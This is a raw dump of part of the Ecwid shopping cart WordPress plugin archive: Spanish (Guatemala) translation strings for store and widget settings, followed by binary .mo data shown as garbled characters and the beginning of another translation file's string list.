"Vista de tabla" #: templates/store-popup.php:152 msgid "List view" msgstr "Vista de lista" #: templates/store-popup.php:125 msgid "Grid view" msgstr "Vista de cuadrícula" #: templates/store-popup.php:123 msgid "Number of products per page" msgstr "Número de productos por página" #: templates/store-popup.php:191 msgid "Number of categories per row" msgstr "Número de categorías por fila" #: templates/advanced-settings.php:98 msgid "Save changes" msgstr "Guardar cambios" #: includes/class-ecwid-product-browser.php:202 msgid "Default category ID" msgstr "ID de categoría predeterminada" #: templates/store-popup.php:98 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:127 #: includes/integrations/class-ecwid-integration-gutenberg.php:427 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:56 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:248 msgid "Store root category" msgstr "Categoría raíz de la tienda" #: templates/store-popup.php:90 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:101 msgid "Category shown by default" msgstr "Categoría mostrada por defecto" #: templates/admin-message.php:47 msgid "Never show this message again" msgstr "Nunca mostrar este mensaje otra vez" #: templates/product-popup.php:194 lib/ecwid_platform.php:209 #: js/gutenberg/blocks.build.js:1 msgid "Price" msgstr "Precio" #: includes/class-ecwid-store-editor.php:75 #: includes/integrations/class-ecwid-integration-gutenberg.php:102 #: includes/gutenberg/class-ecwid-gutenberg.php:128 msgid "Edit Appearance" msgstr "Editar apariencia" #: includes/class-ecwid-store-editor.php:60 msgid "Edit Store" msgstr "Editar tienda" #: templates/store-popup.php:11 templates/store-popup.php:21 #: includes/class-ecwid-store-editor.php:52 msgid "Add Store" msgstr "Añadir tienda" #: includes/class-ecwid-message-manager.php:261 msgid "Back to Store Settings" msgstr "Regresar a la configuración de la tienda" #: includes/class-ecwid-message-manager.php:252 msgid "Your store is almost ready!" msgstr "¡Su tienda ya está casi lista!" #: includes/class-ecwid-message-manager.php:243 msgid "Take a few simple steps to complete store setup" msgstr "Siga unos sencillos pasos para completar la configuración de la tienda" #: includes/widgets/class-ecwid-widget-products-base.php:205 msgid "Number of products to show" msgstr "Número de productos para mostrar" #: includes/widgets/class-ecwid-widget-recently-viewed.php:89 msgid "Store Link Title" msgstr "Título del enlace de la tienda" #: templates/product-popup.php:183 includes/class-ecwid-product-browser.php:249 #: includes/widgets/class-ecwid-widget-products-base.php:199 #: js/gutenberg/blocks.build.js:1 msgid "Title" msgstr "Título" #: includes/widgets/class-ecwid-widget-recently-viewed.php:69 #: includes/widgets/class-ecwid-widget-recently-viewed.php:91 msgid "You have not viewed any product yet. Open store." msgstr "Aún no ha visto ningún producto. Abra la tienda." #: includes/widgets/class-ecwid-widget-recently-viewed.php:11 msgid "Recently Viewed Products" msgstr "Productos vistos recientemente" #: includes/widgets/class-ecwid-widget-recently-viewed.php:12 msgid "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgstr "Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda." #: includes/widgets/class-ecwid-widget-store-link.php:35 msgid "Text" msgstr "Texto" #: includes/themes/class-ecwid-theme-twentyseventeen.php:48 #: includes/themes/class-ecwid-theme-twentyseventeen.php:54 #: includes/themes/class-ecwid-theme-twentyfifteen.php:34 #: includes/themes/class-ecwid-theme-twentyfifteen.php:40 #: includes/themes/class-ecwid-theme-twentysixteen.php:36 #: includes/themes/class-ecwid-theme-twentysixteen.php:42 #: includes/widgets/class-ecwid-widget-store-link.php:31 msgid "Shop" msgstr "Tienda" #: includes/widgets/class-ecwid-widget-store-link.php:10 msgid "Store Page Link" msgstr "Enlace a la página de la tienda" #: includes/widgets/class-ecwid-widget-store-link.php:9 msgid "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgstr "Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web." #: includes/widgets/class-ecwid-widget-vcategories.php:9 msgid "Store Categories" msgstr "Categorías de la tienda" #: includes/widgets/class-ecwid-widget-vcategories.php:8 msgid "Adds vertical categories block to let the customer navigate your store." msgstr "Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda." #: includes/class-ecwid-nav-menus.php:344 #: includes/class-ecwid-nav-menus.php:347 #: includes/widgets/class-ecwid-widget-search.php:13 msgid "Product Search" msgstr "Búsqueda de productos" #: includes/widgets/class-ecwid-widget-search.php:12 msgid "Displays a simple search box for your customers to find a product in your store" msgstr "Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda." #: includes/widgets/class-ecwid-widget-minicart-miniview.php:8 msgid "Adds a compact cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-minicart.php:41 #: includes/widgets/class-ecwid-widget-random-product.php:67 #: includes/widgets/class-ecwid-widget-search.php:46 #: includes/widgets/nsf-minicart-editor.tpl.php:50 #: includes/widgets/class-ecwid-widget-minicart-miniview.php:41 #: includes/widgets/class-ecwid-widget-vcategories.php:39 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:76 msgid "Title:" msgstr "Título:" #: includes/class-ecwid-nav-menus.php:338 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:20 msgid "Shopping Cart" msgstr "Carrito de compras" #: includes/widgets/class-ecwid-widget-minicart.php:8 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:19 msgid "Adds a cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-badge.php:51 #: includes/widgets/class-ecwid-widget-badge.php:63 msgid "Ecwid e-commerce widgets" msgstr "«Widget» de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:45 #: includes/widgets/class-ecwid-widget-badge.php:57 msgid "Ecwid shopping cart" msgstr "Carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:39 #: includes/widgets/class-ecwid-widget-badge.php:75 msgid "Ecwid free shopping cart" msgstr "Carrito de compras gratuito de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:33 #: includes/widgets/class-ecwid-widget-badge.php:69 msgid "Ecwid ecommerce solution" msgstr "Solución de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:21 #: includes/widgets/class-ecwid-widget-badge.php:27 msgid "Ecwid shopping cart widget" msgstr "«Widget» de carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:14 msgid "Ecwid Badge" msgstr "Distintivo de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:13 msgid "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgstr "¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid." #: ecwid-shopping-cart.php:2791 msgid "Recommendations for Your Online Store" msgstr "Recomendaciones para su tienda en línea" #: includes/class-ecwid-admin.php:528 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:77 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:87 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:95 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:103 #: ecwid-shopping-cart.php:2056 msgid "Settings" msgstr "Configuraciones" #: includes/class-ecwid-admin.php:165 msgid "Advanced" msgstr "Avanzado" #: includes/class-ecwid-admin.php:164 msgid "Advanced settings" msgstr "Configuraciones avanzadas" #: templates/product-popup.php:206 templates/store-popup.php:14 #: templates/store-popup.php:34 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:44 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:78 #: js/gutenberg/blocks.build.js:1 msgid "Appearance" msgstr "Apariencia" #: includes/class-ecwid-admin.php:28 includes/class-ecwid-admin.php:59 #: includes/class-ecwid-admin.php:459 ecwid-shopping-cart.php:2110 msgid "Dashboard" msgstr "Panel" #: includes/class-ecwid-admin.php:57 ecwid-shopping-cart.php:2056 msgid "Setup" msgstr "Configuración" #: includes/class-ecwid-admin.php:47 msgid "%s shopping cart settings" msgstr "Configuraciones del carrito de compras de %s" #: includes/class-ecwid-nav-menus.php:132 #: includes/class-ecwid-nav-menus.php:361 #: includes/class-ecwid-nav-menus.php:364 #: includes/class-ecwid-nav-menus.php:372 includes/class-ecwid-admin.php:206 #: includes/class-ecwid-admin.php:207 includes/class-ecwid-admin.php:220 #: includes/class-ecwid-admin.php:221 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:63 #: includes/class-ecwid-admin-storefront-page.php:257 #: ecwid-shopping-cart.php:1657 msgid "Store" msgstr "Tienda" #: ecwid-shopping-cart.php:1306 msgid "<a %s>Online store powered by %s</a>" msgstr "<a %s>Tienda en línea con tecnología de %s</a>" #: includes/class-ecwid-admin.php:489 msgid "Sell on Facebook" msgstr "Vender en Facebook" #: templates/admin/simple-dashboard.php:48 ecwid-shopping-cart.php:1094 msgid "Visit storefront" msgstr "Visitar escaparate virtual" PK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_GT.monu�„[µü¤��������Þ•����e�����D��5��l&������@3�����A3��H���Y3�����¢3�����³3�����¶3�����¾3�����Ï3�� ���Ø3��.���æ3�� ���4�� ��� 4�����,4�����J4�����e4��ç��4�����g6��B���€6�����Ã6�����à6�����þ6�����7��$���97�����^7�����r7�����‹7��Ñ��� 7��/���r8�� ���¢8�� ���®8�����¸8�����Ï8�����ã8�����ö8�����9��#���%9�� ���I9�����T9�����o9�����~9�� ���ž9�� ���¿9��>���Ë9��"��� :��·���-:�����å:��k���ü:��K���h;��S���´;��A���<��R���J<��G���<��4���å<�� ���=�����&=�����/=��&���A=�����h=��T���{=�� ���Ð=�����Û=�����à=�����÷=�����>�����>�����#>�� ���*>�����8>�����?>�� ���G>�� ���S>�� ���`>�����l>�����>��4���”>�� ���É>�����Ö>�����Þ>�����í>��X���ý>�� ���V?�����`?��/���g?��,���—?�����Ä?�����Ë?�����Ð?�� ���â?�� ���ì?�����÷?�� ���ÿ?����� @�����@�����,@�����A@�����[@�����{@�����“@�����š@�����±@�����¸@�����Í@�����Ü@��.���ë@�����A�����5A��D���LA�����‘A����� A�� ���¯A�� ���ÐA�����ÞA�����ïA�����÷A����� B����� B��x���3B�����¬B�� ���¼B�����ÇB�� ���ÏB�����ðB�����C�����C�����*C�� ���=C�����JC��5���\C��h���’C��¤���ûC����� D�� ���³D�� ���ÀD��5���ÍD�����E�� ���E��x���%E��i���žE�����F�����F�����4F�����QF�����bF�����äF�� ���õF�����ÿF�����G�����$G��"���7G��#���ZG��/���~G�� ���®G�� ���¹G�����ÄG�����ËG�����ÞG�����óG�����H�����H�����-H�����?H��!���WH�����yH�����H��6���£H��!���ÚH�����üH��*���I��%���:I�����`I��'���vI�����žI�����³I��,���ÈI�����õI��q���J��s���yJ��#���íJ��H���K��O���ZK��1���ªK��s���ÜK�� ���PL��¡���\L��v���þL�����uM��$���zM�����ŸM�����±M�����·M�� ���ÓM�����ßM�����ïM����� N��s���N�����‘N�����ªN�����ÃN��=��ÜN��‰���P����¤P����¼Q�����ÜR�����ðR����� S�����S�� ��� S�� ���.S�� ���;S�� ���FS�� ���TS��œ���^S��¢���ûS�����žT�����²T�����ÌT��B���æT��$���)U�����NU�����VU�����mU�� ���€U�����‹U�����¦U�� ���¸U�����ÄU�� ���ÛU��(���æU�����V�� ���V�����V��±���#V��.���ÕV��Û���W��D���àW��h���%X�����ŽX��_���“X��C���óX�����7Y�����IY��/���_Y��/���Y�����¿Y��/���ÔY��(���Z�����-Z��9���GZ��I���Z��2���ËZ��"���þZ��:���![�����\[��"���t[��!���—[�����¹[�����Ø[�����Ý[�����ñ[��$��� \��*���1\��B���\\�����Ÿ\�� ���½\�����È\�� ���Ý\�����è\��+���ï\�����]��-���,]��P���Z]�����«]��#���Á]��'���å]��)��� ^�� ���7^�����X^��%���g^��+���^��+���¹^�����å^�����_�����_�����!_�� ���2_��$���?_��9���d_��%���ž_��:���Ä_�����ÿ_�����`�����`�����&`�����(`�� ���=`�� ���K`�� ���Y`�� ���c`�����o`�����`�����†`�� ���Ž`�����™`�����ž`�� ���¯`�����º`�����É`�� ���Î`��–���Ø`�����oa�����„a�����ša��S���œa�����ða��'���ÿa��[���'b�� ���ƒb�����b�� ���¢b�����¬b�� ���³b�� ���¾b�����Éb�����Òb�� ���×b��9���âb�����c�� ���:c�� ���Dc�� ���Nc�� ���Xc�����bc��Ò���wc��I���Jd�����”d�����±d�����Íd�� ���èd�� ���ôd�� ���e�����e�� ��� e�����-e�����@e�����Ue�����]e�����de��þ���je��å���if��#���Og�����sg�� ���‚g��ß���Œg�����lh�����th�� ���i�� ���i�����i�����%i��O��*i��4���zj�����¯j�� ���Áj�� ���Îj�����Ûj�����äj�� ���ìj�����új�� ����k����� k�����k�����'k�����:k�����Rk�� ���jk�����vk�����…k�����˜k�����³k��+���Ëk�����÷k�� ��� l�����l�����*l�����Bl�����al�� ���xl�����†l��I���l��'���Ùl�����m�����m�����$m�����=m�����Em��#���Xm�� ���|m�����†m�� ���m�����šm�����©m�����¹m��"���Òm�����õm��%���n�� ���4n�����>n�����Vn�����en�����…n�����n�����“n�����•n�����™n�����Ÿn�����®n��*���³n�� ���Þn�����ën�����òn�����o�����o�����/o�� ���8o�����Co�����So�����do�����vo�� ���‡o��"���”o�����·o�����Ëo�� ���Ýo�����êo�����üo�����p����� p�����p�� ���"p�����0p��#���Kp�����op�����‚p�����¢p�����·p�����¼p�����Ûp��V���ëp�� ���Bq�� ���cq�����qq�� ���ƒq�����‘q��&���¥q��(���Ìq�����õq�����r�� ���&r�����2r�� ���Br�� ��cr�� ���ns�����ys��(���“s��*���¼s��‡��çs�� ���ow�� ���zw�����‡w��•���Žw��.���$x�����Sx�����Yx�����jx�����€x�����”x�����¥x�����µx��Ü���¾x��ƒ���›y�����z�����0z�� ���Az�����Lz�����\z�����rz�����ƒz�����’z�����£z�����¶z�����Îz�����âz�� ���ýz�����{�����{�����${�����4{�����I{�� ���O{��/���Z{��N���Š{�����Ù{�� ���Þ{��4���é{��¨���|��=���Ç|��œ���}��-���¢}��Á���Ð}��%���’~��M���¸~�������P�����H���h��P���±�����€�����€�� ���€�� ���"€�����/€�����A€��’���H€��©���Û€��®���…�� ��4‚��E��>ƒ��‰���„…��]���†��ñ���l†��%��^‡��*��„ˆ��*��¯‰��y���ÚŠ��>���T‹��¡���“‹��h���5Œ��L���žŒ�����ëŒ�� ���ôŒ�����þŒ����������,�����5�����<�����P�����l�����|����������Ÿ�����¯�����¿�����Ô�����ä�����õ�����Ž�� ���Ž��!��� Ž��j���BŽ��—���­Ž�����E��^���Å�����$�����,�����F�� ���V��‡���c�����ë�� ��ü��±���’��C��¹’��B��ý“��k���@•�����¬•��¨���­–��©���V—�� ����˜��0���!˜��^���R˜�����±˜��:���Ę��>���ÿ˜�����>™�����N™�����j™�� ���ƒ™��2���™��?���Ù��Ò���š�����Öš��’���òš�����…›��y���•›��A���œ�����Qœ�����oœ��€��Žœ��:���ž�����Jž�����_ž�� ���ž��"��� ž�����Þ��"���ßž��H���Ÿ��)���KŸ�����uŸ�����Ÿ��&���°Ÿ��(���ן������ ����� �����  �����4 ��Ü��G �����$¢��e���:¢��'��� ¢�����È¢�� ���Ë¢�����Ö¢�� ���ï¢�����ü¢��5���£�� ���M£�� ���Y£�����f£�����„£��,���Ÿ£��Š��Ì£�����W¦��B���v¦��!���¹¦�����Û¦��!���û¦�����§��0���=§�����n§�����Ч�����£§����¹§��*���½¨�����è¨�����ù¨��(���©��!���1©�����S©��*���p©�����›©��+���¹©�� ���å©��!���ó©�����ª��6���)ª��1���`ª�����’ª��C���£ª��/���çª��ø���«��!���¬�����2¬��e���À¬��n���&­��Z���•­��o���ð­��^���`®��R���¿®�����¯�����,¯�����5¯��5���O¯�����…¯��h��� ¯�� ��� °�� ���°��!���!°��)���C°�����m°�����}°�����ƒ°�����‰°�����ž°�����¤°�����«°�����À°�� ���Ó°�����à°�����þ°��:���±�����O±�� ���`±�����n±�����‡±��`���¤±�� ���²�� ���²��=���²��9���W²�����‘²�����š²�����¢²�����±²�����β�� ���á²�� ���ë²�� ���÷²��%���³��!���(³�����J³��5���j³��(��� ³�����ɳ��%���Ò³�����ø³��!����´�����"´�����2´��C���B´��(���†´�����¯´��g���Ï´�����7µ�����Qµ��.���jµ�����™µ�����¨µ�����·µ�����Àµ�����Òµ�����êµ��¢���üµ��%���Ÿ¶��!���Ŷ�� ���ç¶��!���ñ¶�����·�����-·�����J·�����e·�� ���€·�����·��8���«·��j���ä·��´���O¸�����¹�� ���¹�����(¹��I���7¹��$���¹�����¦¹�����¯¹��x���@º�����¹º��'���Ѻ��5���ùº�����/»��œ���G»�����ä»�����ö»�����ü»�����¼�����6¼��9���U¼��;���¼��0���˼�����ü¼�����½�����,½�����4½�����H½�����b½�����u½�����‘½�����¦½�����À½��2���à½��!���¾��#���5¾��I���Y¾��+���£¾�����Ͼ��6���î¾��/���%¿�����U¿��2���s¿��&���¦¿�����Í¿��E���ì¿�����2À��š���DÀ��ƒ���ßÀ��*���cÁ��P���ŽÁ��`���ßÁ��:���@Â�����{Â�� ��� Ã��¿���Ã��€���ÔÃ�����UÄ��3���[Ä�����Ä�����­Ä��'���¶Ä�����ÞÄ�����òÄ��5���Å�����DÅ��’���`Å��,���óÅ��+��� Æ��$���LÆ��t��qÆ��¤���æÇ��A��‹È��h��ÍÉ�����6Ë��)���RË�����|Ë�����ƒË�����•Ë�����§Ë�� ���·Ë��$���ÅË�����êË��Å���ùË��Ç���¿Ì�����‡Í��$���¥Í�����ÊÍ��Y���åÍ��*���?Î�����jÎ�����rÎ�����‘Î�����®Î�����¾Î��%���ÓÎ�����ùÎ����� Ï�� ���$Ï��4���/Ï�� ���dÏ�����pÏ�����…Ï��ø���‹Ï��;���„Ð��þ���ÀÐ��D���¿Ñ��g���Ò�����lÒ��p���tÒ��Q���åÒ�����7Ó�����KÓ��]���cÓ��>���ÁÓ������Ô��D���Ô��1���_Ô�����‘Ô��I���©Ô��g���óÔ��/���[Õ��$���‹Õ��7���°Õ�����èÕ��0���Ö��%���8Ö��"���^Ö�����Ö�����‡Ö��%���£Ö��/���ÉÖ��7���ùÖ��@���1×��.���r×�����¡×��#���±×�� ���Õ×�����á×��)���ê×�����Ø��>���,Ø��h���kØ��!���ÔØ��%���öØ��1���Ù��3���NÙ��'���‚Ù�����ªÙ��(���ÅÙ��)���îÙ��)���Ú�����BÚ�����aÚ�����€Ú�����‰Ú����� Ú��-���·Ú��E���åÚ��-���+Û��8���YÛ�����’Û�� ���®Û�����ºÛ�����ÏÛ�� ���ÑÛ�����òÛ�����Ü�����Ü����� Ü�����7Ü�����JÜ�����RÜ�����[Ü�� ���mÜ�����wÜ�����ˆÜ�����™Ü�����¬Ü�����²Ü��»���ÁÜ�����}Ý�����˜Ý�����´Ý��s���¶Ý�����*Þ��/���EÞ��q���uÞ�����çÞ�����ûÞ�� ���ß�����&ß�� ���-ß�� ���7ß�� ���Aß�����Lß�� ���Sß��A���_ß��#���¡ß�����Åß�����×ß�� ���éß�� ���õß�����ÿß��)��à��c���Há�����¬á�� ���Ìá��!���íá�����â�� ���â�����+â��#���<â�����`â�����qâ�����‹â�����§â�����°â�����¸â��I��½â��ú���ä��%���å�����(å�� ���:å��×���Gå�����æ��¢���$æ�����Çæ�����Ýæ�����ðæ�����÷æ��•���ç��9���–è�����Ðè�� ���èè�� ���õè�� ���é�� ��� é�����é�����*é�����1é�����Bé�����Ké�����fé��#���é��%���¥é�����Ëé�����Üé�� ���óé�� ���ê��+���5ê��7���aê��"���™ê�����¼ê�����Ðê��*���æê��1���ë��$���Cë�����hë�� ���}ë��a���‡ë��0���éë�����ì�����/ì�����?ì�����^ì�� ���gì��4���ˆì�� ���½ì�����Çì�����Ðì�����éì�����üì�����í��5���-í�����cí��(���‚í�� ���«í��"���·í�����Úí��"���ìí�����î�����î����� î�����"î�����&î�����-î�����>î��-���Fî�����tî�����„î�����‹î�����Ÿî��"���°î�����Óî�����Üî�����íî�����ï�����ï�����2ï�����Eï��0���Tï��&���…ï�����¬ï�����Àï�����×ï�����ëï�����ûï����� ð�����ð�����#ð��"���6ð��+���Yð�����…ð��/���¢ð��!���Òð�����ôð��+���üð�����(ñ��ˆ���<ñ��(���Åñ�����îñ�����ò����� ò��$���;ò��8���`ò��8���™ò��)���Òò��#���üò����� ó�����2ó��)���Nó��M��xó�����Æô��$���Õô��2���úô��L���-õ��,��zõ�� ���§ù�����´ù�����Ìù��½���Óù��?���‘ú�����Ñú�����Øú��!���ñú��#���û�����7û�����Vû�����uû����…û��™���™ü�����3ý�����Sý�����lý�� ���ý�����¢ý�����Áý�����Ùý�����ðý��$���þ��$���+þ�����Pþ�����nþ�����Žþ�����¡þ�����¨þ�����¼þ�����Ðþ�����æþ�����ìþ��G���ûþ��W���Cÿ�����›ÿ�����¡ÿ��8���±ÿ��©���êÿ��Y���”��‹���î��:���z�×���µ�'����_���µ�����X���&�^����U���Þ����4����<� ���Q� ���^����l����ˆ�»���‘�Ã���M�Ç����#��Ù�­��ý�‘���« �u���= ���³ �@��Æ �@���U��H�›���ž�P���:�®���‹�~���:�a���¹��������1����E����]����v� ���”����Ÿ�$���¶����Û����í� ���� ��������,���6����c��������š����¬� ���¿�#���Ì�œ���ð�š����…���(�]���®� ��� ��������0� ���I�¹���W�����V��&�×���}�‘��U�`��ç�‘���H�+��Ú�Ô����É���Û�'���¥ �2���Í �^����!����_!�A���v!�G���¸!�����"����"�$���6"� ���["�8���g"�;��� "�5��Ü"� ���$�¯���3$����ã$�¡���û$�R���%����ð%���� &�Û��-&�[��� (����e(� ���}(����‡(�"���Ž(����±(�"���Í(�H���ð(�)���9)����c)�(���~)����§)����¸)����Ì)����á)����÷)����*��������I��������������“��k������R��W��y����$��%���Ü�������������í���������í��‚���þ�������±��#��Æ���y���R��#������¸��J���Z��À�������?���B��^��>��ã���Ý��¯������������������ ��� ��3����1��–���U������>�����Ç��K��q��š�������¸�����³��á���Ø���-�������Ð����������—����v���8������:���/���´���g��d���Í��������������S��?��¨��È������ò����������¢���'��Þ�������,�������Ê�����j��Z������§��P��º�������W���Ã������Å���S��Ï�������]����������T������¿���Ñ�� �������6���®������ú���”�������r����������¹���c��9������¿��é��,��Ò�������¥���������k�����������£���%��������������É��â���������Ú������½�����������Ë���L���"�������a��ß��á��ü��ª��W��t����Â���������Þ������}��.��õ��÷�� ��$������K������G��û���×��ú��~���������������0������w�������Ò�����E��¨���ï���7���Õ����������������������‰���Q��Ž������F��ª�����������¤���¾��:��\���Ï��������������O�����X��'��*��3������1������ ��������Ñ�������’���»���u���������É���9��ô���E���ˆ��©������C��������������������‡���������?������8��a��_���b�������L������@��&������*��I��C���J��™���Y���«������D������ƒ������$���£������;��F��Î�������N���Ã���G������'���©�������Ä���¦��0�����@�����^���…���ë��c���ž��������Ç������u��ý��>��:����å����.���â���†���þ��M��j���[��S��PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_GT.ponu�„[µü¤�����������&�����î���õ�������ð����%��Š�� ��c������h��X���A��������#�����������z�������3�����(������������������³���û������’��������������Î�����Q��������e��������ù���À��-��������™��i���¬���Ö���D��œ��p�� �����!�������Œ�������(����������…��X��5��°��7��ó���µ��î��=�����������ß���;������N������¶���P����¹��������������T�����������²���\������Z���º��–�����������������&����� ������€��� ���`���”��ç��|��ó��«�������`��ä���¡�������<�������Œ��e���+�������A���‡��=������Ù��ø������¾���§���¥��)���‚����Q��Í���ì���Ô��Â���Ý���Ë��˜��‹��è��f��!��ë��� ���b��a���M��{�������<��7�����‘���¼�������������¯���Û�������ï������H��Ù���Ì���6��O��s���`����������9��Ÿ���*�������Æ��-��}���"�����æ��¤��r���à���œ���0������������ä��{������������������ö��������‰����������l��H����������v����d��/��­��� ��]���t���p�����2��ƒ���·������d��„������g���æ���U���‘������C��Ô���¶��w��­��×�����[���l�����������ü���Ø����������<��Ó��“���›�� ���o���1��� ����� ��è���V��f���¦���N�� ��E������Ÿ��•������������������Ó������� ��Ö��ø���������Û����������/������,��������~���������¼������������Ú��!������[��®��n�����������_��"��ò���(�������2���J��x��h���_��½�� ��ÿ���÷���o������M���‹���4��=��8���ÿ��ê�������2��Ð��� ��4�������Á��„���m�������Å��›�������²���������ì��5��n��I���;���•��)������6��L��V���������—���+��Ü��+��A��������������������š��Ê���Y��B��F������ �������)��Õ���é���m��i��ö���ý������5���^������|���z�������������È���´�����U����������x�����������\��ù��q���å���†������O���ô������Š���ç���V����������b��ð�������¡������������˜���ˆ�������¢��Á���ñ���Y�������������.��·���D������ã����������ê��B�������G��s��¬��Ì��µ�������R�����T��ñ��e���������� Choose another product� Thank you very much for contacting us! We will get back to you shortly.�"In stock" label�%s�%s Blog�%s Shopping Cart�%s Store�%s Store Page�%s plugin doesn't work well with my "%s" theme�%s product�%s products�%s products and %s categories�%s products and categories�%s shopping cart settings�%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site.�%s — Advanced settings�(You will be able to confirm the changes before the actual import)�2 columns, image on the left�2 columns, image on the right�3 columns, image on the left�3 columns, image on the right�<a %s>Online store powered by %s</a>�<a %s>Reconnect</a>�<a href="admin.php?page=�<b>%s</b> categories�A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use "/shop" or "/products".�Action required: please connect your %s account�Add Product�Add Store�Add Store Page to Menu�Add a category page�Add a product page�Add a search and filters page�Add a store page�Add an Online Store to Your Website�Add border�Add cart and checkout page�Add categories�Add store page to the site menu�Add storefront (product listing)�Add to Menu�Add your %s store to the website and start selling in minutes.�Add your store to other site pages�Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href="%s" target="_blank">WordPress Settings > Reading</a>�Additional store pages�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds a shopping cart widget to the top right corner of your site.�Adds root categories list to the sidebar to let your customers navigate the store.�Adds vertical categories block to let the customer navigate your store.�Adjust your store design to fit your business needs.�Admin Label�Advanced�Advanced settings�After import, your %s store will have �All Sales Channels�Along with the store catalog, you can add other widgets and texts to the store page.�Appearance�Apps�Available qty in stock�Back to Store Settings�Background color�Bag�Basket�Before You Go�Border�Border:�Bottom left�Bottom right�Breadcrumbs�Browse all products.�Browse by Category�Bulk import products and categories to your %s store�Button color�Buy Now�Buy Now Button�Buy now buttons�By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>.�CSS Class�CSS ID�Can you share the name of the plugin you chose?�Can you share your feedback? What was wrong?�Cancel�Cart�Cart and Checkout�Cart icon�Cart icon:�Catalog�Categories�Category�Category List Appearance�Category card layout�Category shown by default�Category thumbnail aspect ratio�Category thumbnail size�Center�Center align on a page�Change�Change store content�Choose Product�Choose product�Choose product properties to display in widget�Choose the main store page�Choose widgets to show�Click the connect button to get rights to update the product catalog�Color settings�Complete Setup�Complete setup and start selling�Configuration�Congratulations!�Connect�Connect Your Store�Connect your %s store�Connect your store�Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again.�Contact Support�Contact us�Content�Copying products and categories.�Create Cart Page�Create Category Page�Create Product Page�Create Search Page�Create Store�Create Store Page�Create a landing page featuring one of your products.�Create a new %s account which you will use to manage your store and inventory. The registration is free.�Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website.�Create new account�Create store�Current Page�Current URL slug: /<span data-ec-store-slug>%s</span>�Customer Single Sign-On�Customers�Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers.�Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout.�Customize design�Customize store appearance�Customize store page address�Customize widget�Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand.�Cyan bluish gray�Dashboard�Default category�Default category ID�Default product_ID�Default view mode on product pages�Default view mode on search results�Deleted products synchronized: %1$s out of %2$s�Demo Store�Demo store�Design�Design and content�Detect automatically�Disconnect store�Display a buy button�Display breadcrumbs�Display cart icon�Display categories menu�Display categories navigation bar�Display category page�Display footer menu�Display product page with description and a buy button�Display product with a buy button�Display search box�Display search page with filters on a side�Display shopping bag link and summary�Display shopping cart�Display shopping cart and checkout page�Display sign in link�Display sort by link�Display the shopping cart icon on site pages�Displayed product�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a list of random products.�Displays a random product from your store to attract customer attention.�Displays a simple search box for your customers to find a product in your store�Displays storefront: product listing and checkout�Displays the latest added products from your store. Show new products to returning customers to drive repeat sales.�Do not show�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.�Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site.�Done�Download <a href="%s">import log</a>�Download log file�Draft�E.g. How to set up shipping�Ecwid Badge�Ecwid Ecommerce�Ecwid Ecommerce Shopping Cart�Ecwid Menu Item�Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center�Ecwid e-commerce widgets�Ecwid ecommerce solution�Ecwid free shopping cart�Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues 